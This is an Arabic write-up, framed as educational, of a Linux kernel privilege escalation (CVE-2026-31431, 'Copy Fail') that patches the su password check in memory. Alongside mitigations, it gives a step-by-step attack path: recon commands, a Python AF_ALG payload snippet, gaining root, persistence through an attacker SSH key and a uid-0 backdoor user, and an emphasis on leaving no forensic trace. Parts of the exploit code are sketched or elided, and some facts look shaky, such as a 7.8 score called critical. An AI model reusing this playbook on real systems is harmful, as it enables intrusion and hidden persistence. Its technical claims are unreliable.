
تحليل تفصيلي لثغرة فشل النسخ (CVE-2026-31431) في نواة لينكس، بما في ذلك آلية تلف الذاكرة، وسلسلة تصعيد الامتيازات، والأثر الأمني.
تحليل تعليمي لثغرة فشل النسخ في نواة لينكس.
يغطي آلية تلف الذاكرة، مسار تصعيد الصلاحيات، الهروب من الحاويات، والإجراءات الدفاعية المضادة.
هذا المستودع لأغراض تعليمية وبحثية فقط.
لا تستخدم هذه المعلومات على أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
جميع مقتطفات الأكواد والأوامر مقدمة strictly لمساعدة فهم أعماق نواة لينكس.
CVE-2026-31431، المعروفة أيضاً باسم فشل النسخ (Copy Fail)، هي ثغرة في نواة لينكس تسمح لمستخدم محلي غير مميز بتصعيد صلاحياته إلى الجذر (root) دون أي صلاحيات خاصة.
يعمل الهجوم بالكامل في ذاكرة الوصول العشوائي (RAM). لا يتم لمس ملف القرص أبداً — مما يعني أن تجزئات الملفات تبقى نظيفة، الطوابع الزمنية دون تغيير، وسجلات التدقيق لا تسجل شيئاً. عند إعادة تشغيل النظام، تختفي جميع الأدلة.
مستخدم عادي → استغلال ثغرة algif_aead → الكتابة فوق ذاكرة التخزين المؤقت للصفحات → جذر
الخصائص الرئيسية:
/usr/bin/su — البرنامج المستهدفsu (تبديل المستخدم) يسمح للمستخدم بالتبديل إلى حساب آخر — عادةً الجذر. وهو ملف ثنائي SetUID:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = علامة SetUID
علامة s تعني: عندما يقوم أي مستخدم بتشغيل هذا البرنامج، فإنه يعمل بصلاحيات الجذر. وهذا يجعله هدفاً عالي القيمة.
منطقه الداخلي (مبسّط):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
هدف الهجوم: تخطي فحص password_correct() بالكامل.
عندما يقرأ لينكس ملفاً من القرص، يحتفظ بنسخة منه في الذاكرة تسمى ذاكرة التخزين المؤقت للصفحات (page cache).
| المكوّن | الوصف |
|---|---|
| القرص | الملف الأصلي على القرص (رف المكتبة) |
| ذاكرة التخزين المؤقت للصفحات | نسخة الملف في الذاكرة (النسخة الضوئية على مكتبك) |
| المعالج | يقرأ وينفذ من ذاكرة التخزين المؤقت للصفحات — سريع |
| المهاجم | يعدّل نسخة الذاكرة؛ القرص يبقى دون مساس |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← هذه هي ذاكرة التخزين المؤقت للصفحات
| النوع | الأمان |
|---|---|
| مخزن آمن — مخصص من النواة، الحجم والحدود مضبوطة | ✅ آمن |
| ذاكرة التخزين المؤقت للصفحات — نسخة ذاكرة مدعومة بملف، مشتركة، قابلة للتنفيذ | ⚠️ خطيرة إذا تمت الكتابة إليها |
| مؤشر خاطئ — عنوان ناتج عن ثغرة يشير إلى أي مكان | 🔴 حرج |
AF_ALG (عائلة الخوارزميات) هي واجهة مقبس في لينكس تسمح لبرامج مساحة المستخدم باستخدام دوال التشفير في النواة (AES، SHA، AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // فتح مقبس تشفير
algif_aead هو وحدة النواة التي تتعامل مع تشفير AEAD (مثل AES-GCM) عبر AF_ALG. الثغرة تكمن في خطوة نسخ البيانات الخاصة بها.
AF_ALG → algif_aead → محرك AES-GCM → مخزن الإخراج
↑
الثغرة هنا
الثغرة ليست في منطق التشفير. إنها في إدارة الذاكرة — يتم تحديد منطقة الذاكرة الخاطئة أثناء نسخ البيانات.
destination = safe_output_buffer; // الموقع الصحيح
memcpy(destination, user_data, size); // كتابة البيانات بأمان
destination = buffer + WRONG_OFFSET; // ثغرة: مؤشر خاطئ!
memcpy(destination, user_data, size); // البيانات تصل إلى ذاكرة التخزين المؤقت للصفحات
كان من المفترض أن تكتب النواة إلى مخزن الإخراج الآمن. بسبب إزاحة محسوبة بشكل خاطئ، تكتب إلى ذاكرة التخزين المؤقت للصفحات — التي تحتوي على نسخة الذاكرة من /usr/bin/su.
يحتوي الملف الثنائي على كود آلة x86-64. يستهدف المهاجم القفزة الشرطية التي تسبب فشل المصادقة:
قبل الهجوم:
cmp eax, 0 ; فحص قيمة الإرجاع
jne 0x1234 ; إذا فشل → القفز إلى الرفض
call give_root ; منح الجذر
بعد الهجوم (تغيير 2 بايت في الذاكرة):
cmp eax, 0 ; نفس الشيء
90 90 ; NOP NOP ← تم استبدال القفزة، تم تخطي الفحص!
call give_root ; المعالج يصل هنا مباشرة
NOP = لا عملية. المعالج لا يفعل شيئاً ويتقدم للأمام — متخطياً فحص المصادقة بالكامل.
"أحتاج فقط حساب مستخدم عادي. النواة سترتكب الخطأ بنفسها.
القرص يبقى نظيفاً. لا سجلات. يعمل في كل مرة."
whoami && id
# uid=1000(user) gid=1000(user) ← مستخدم عادي
uname -r
# 6.1.0-generic ← ضمن النطاق المعرض للخطر
ls -la /usr/bin/su
# -rwsr-xr-x root root ← تم تأكيد SetUID
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# تم تحميل /usr/bin/su إلى ذاكرة التخزين المؤقت للصفحات ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
البحث عن: عنوان دالة المصادقة، القفزة الشرطية jne/jnz، وإزاحة البايت الدقيقة الخاصة بها.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — يستبدل القفزة الشرطية
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# داخلياً في النواة (مبسّط):
destination = buffer + crafted_offset # ثغرة: مؤشر خاطئ
memcpy(destination, payload, 2) # كتابة بايتات NOP إلى ذاكرة التخزين المؤقت للصفحات
# فحص كلمة مرور /usr/bin/su أصبح الآن NOP NOP في الذاكرة
su
# Password: (أي شيء — أو فقط اضغط Enter)
# root@victim:/# ← تم الحصول على الجذر
ما حدث: نفّذ النظام /usr/bin/su من الذاكرة. كان فحص كلمة المرور NOP. تخطاه المعالج. تم استدعاء give_root() مباشرة.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
بعد الهجوم، يجد المحقق الجنائي:
sha256sum /usr/bin/su # نفس التجزئة السابقة ← القرص غير ملموس
diff /usr/bin/su backup/su # لا فرق
grep -r 'attack' /var/log/ # لا شيء
auditd logs # لا تسجيل كتابة ملف
عند إعادة التشغيل، يتم مسح الذاكرة — تختفي جميع الأدلة.
تعزل الحاويات مساحة المستخدم — لكن النواة مشتركة، وذاكرة التخزين المؤقت للصفحات هي ذاكرة نواة.
نواة المضيف
├── حاوية 1 (مساحة مستخدم معزولة)
│ └── المهاجم هنا
├── حاوية 2
└── عملية المضيف
ذاكرة التخزين المؤقت للصفحات: مشتركة بين جميع الحاويات والمضيف!
مسار الهروب: المهاجم في الحاوية 1 يقرأ /usr/bin/su الخاص بالمضيف → يطلق الثغرة → يتم تعديل الملف الثنائي للمضيف في الذاكرة → تشغيل su على المضيف يمنح الجذر على جهاز المضيف.
المتأثر: Docker، Podman، LXC، Kubernetes (العقد المشتركة) — إذا كانت نواة المضيف معرضة للخطر.
هذه تمارين ملاحظة فقط. استخدم بيئة مختبرية (Docker + جهاز افتراضي بنواة قديمة) لأي اختبار.
free -h # لاحظ قيمة Cache قبل
cat /usr/bin/su > /dev/null # تحميل الملف إلى ذاكرة التخزين المؤقت للصفحات
free -h # تزداد Cache قليلاً
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# نفس القرص عادةً — تختلف بعد هجوم ناجح
# مقارنة /proc/PID/mem تتطلب صلاحيات الجذر
الأولوية 1 — تحديث النواة (أفضل حل)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
الأولوية 2 — تعطيل algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
الأولوية 3 — ضوابط الوصول
طبّق ملفات تعريف seccomp مع SystemCallFilter في خدمات systemd لتقييد وصول مقبس AF_ALG للعمليات غير الموثوقة.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# التشغيل مع ملف تعريف seccomp (يمنع AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restrictedيجمع CVE-2026-31431 بين التخفي (القرص دون تغيير) + الموثوقية (لا سباق) + الهروب من الحاويات — مما يجعله فريداً في خطورته بين فئته.
algif_aead إذا لم تكن مطلوبةفي CVE-2026-31431، تحتوي وحدة التشفير في لينكس (
algif_aead) على ثغرة في نسخ الذاكرة تتسبب في وصول بيانات يتحكم بها المهاجم إلى ذاكرة التخزين المؤقت للصفحات بدلاً من مخزن الإخراج الآمن — مما يعدّل بصمت ملفاً ثنائياً SetUID في الذاكرة — ويسمح لأي مستخدم محلي بالحصول على صلاحيات الجذر دون ترك أي أثر على القرص.
تم إعداد هذا المستند لفهم تعليمي لأسرار أمان نواة لينكس الداخلية.
— لأغراض تعليمية فقط —
| الحقل | القيمة |
|---|
| معرّف CVE | CVE-2026-31431 |
| الاسم الشائع | فشل النسخ / تلف ذاكرة التخزين المؤقت للصفحات algif_aead |
| درجة CVSS v3.1 | 7.8 — حرجة |
| نوع الهجوم | تصعيد صلاحيات محلي (LPE) |
| إصدارات النواة المتأثرة | لينكس 5.10 حتى 6.8 (تقريباً) |
| المكوّن المعرض للخطر | crypto/algif_aead.c — واجهة مقبس AF_ALG |
| موثوقية الاستغلال | عالية — لا يتطلب سباق (race condition) |
| أدلة على القرص | لا شيء — تعديل في الذاكرة فقط |
| تأثير الحاويات | نعم — هروب من المضيف عبر ذاكرة التخزين المؤقت للصفحات المشتركة |
| حالة التصحيح | متاح (تم إصدار تصحيح نواة من المنبع) |
| CVE | سباق؟ | القرص آمن؟ | الموثوقية |
|---|
| CVE-2016-5195 DirtyCow | نعم — يتطلب توقيتاً | لا — تم تعديل القرص | متوسطة |
| CVE-2022-0847 DirtyPipe | ضئيل | نعم — الذاكرة فقط | عالية |
| CVE-2026-31431 فشل النسخ | لا — كتابة مباشرة | نعم — الذاكرة فقط | عالية جداً |
| طريقة الكشف | تعمل؟ |
|---|
| sha256sum / تجزئة الملف | ❌ القرص متطابق |
| الطابع الزمني لتعديل الملف | ❌ القرص غير ملموس |
| سجلات كتابة ملفات auditd | ❌ لم تحدث كتابة على القرص |
فحص ذاكرة العملية (/proc) | ✅ فقط إذا تمت المراقبة في الوقت الفعلي |
| مراقبة نواة eBPF | ✅ كشف على مستوى استدعاءات النظام |
| تحليل الذاكرة الجنائي (LiME) | ✅ لكنه معقد |
| الطريقة | الأمر / الأسلوب |
|---|
| إصدار النواة | uname -r → قارن مع الإصدار المصحح |
| الوحدة محملة؟ | lsmod | grep algif_aead |
| مراقبة eBPF | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| ذاكرة العملية | cat /proc/PID/maps — قارن مع تجزئة القرص |
| auditd | ausearch -sc socket -sv no |
| Falco | قاعدة: memfd غير متوقع أو كتابة في ذاكرة التخزين المؤقت للصفحات |
| تحليل الذاكرة الجنائي | تفريغ LiME لتحليل ما بعد الحادث |
| CVE / الاسم | سباق؟ | القرص آمن؟ | هروب من الحاويات؟ | الموثوقية |
|---|
| CVE-2016-5195 DirtyCow | نعم — يتطلب توقيتاً | ❌ تم تعديل القرص | جزئي | متوسطة |
| CVE-2022-0847 DirtyPipe | ضئيل | ✅ الذاكرة فقط | نعم | عالية |
| CVE-2026-31431 فشل النسخ | لا — كتابة مباشرة | ✅ الذاكرة فقط | نعم — ذاكرة مشتركة | عالية جداً |
| المصطلح | المعنى |
|---|
| تصعيد الصلاحيات | الانتقال من مستخدم عادي إلى الجذر دون إذن |
| ذاكرة التخزين المؤقت للصفحات | نسخة من ملف مخزنة في الذاكرة، تديرها النواة |
| ملف ثنائي SetUID | ملف مملوك للجذر يعمل بصلاحيات الجذر لأي مستخدم |
| بدائية الكتابة | قدرة كتابة ذاكرة عشوائية يتم الحصول عليها عبر ثغرة |
| سباق (Race Condition) | هجوم قائم على التوقيت يتطلب نافذة تنفيذ دقيقة |
| AF_ALG | واجهة مقبس التشفير في نواة لينكس (عائلة الخوارزميات) |
| algif_aead | وحدة تشفير AEAD في النواة — المكوّن المعرض للخطر |
| memcpy() | دالة نسخ الذاكرة — تنقل البيانات من عنوان إلى آخر |
| NOP | لا عملية — تعليمة معالج لا تفعل شيئاً وتتقدم |
| الهروب من الحاويات | الخروج من حاوية للوصول إلى نظام المضيف |
| eBPF | أداة مراقبة على مستوى النواة لكشف استدعاءات النظام في الوقت الفعلي |
| LiME | مستخرج ذاكرة لينكس — أداة تفريغ الذاكرة للتحليل الجنائي |
| Seccomp | الحوسبة الآمنة — آلية لينكس لتقييد استدعاءات النظام |
| ELF | تنسيق قابل للتنفيذ والربط — تنسيق الملفات الثنائية القياسي في لينكس |
| CVE | الثغرات والمخاطر الشائعة — معرّف الثغرات |
| CVSS | نظام تسجيل الثغرات المشترك — تسجيل خطورة موحد |
| وحدة النواة | إضافة للنواة (مثل برامج تشغيل الأجهزة، معالجات التشفير) |
| الإزاحة | المسافة بالبايتات من نقطة ذاكرة إلى أخرى |
| الهندسة العكسية | تحليل ملف ثنائي مُجمّع دون الوصول إلى الكود المصدري |
| الخطوة | الإجراء |
|---|
| 1 | whoami — تأكد أنك مستخدم عادي |
| 2 | uname -r — تحقق أن النواة ضمن النطاق المعرض للخطر (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — تأكد من وجود علامة SetUID |
| 4 | تشغيل سكربت الاستغلال: AF_ALG → algif_aead → حمولة مصممة |
| 5 | تطلق ثغرة النواة → يتم الكتابة فوق ذاكرة التخزين المؤقت للصفحات لـ /usr/bin/su في الذاكرة |
| 6 | تشغيل su → تم الحصول على الجذر (بدون كلمة مرور) |
| 7 | الاستمرارية: إضافة مفتاح SSH أو إنشاء مستخدم جذر خلفي |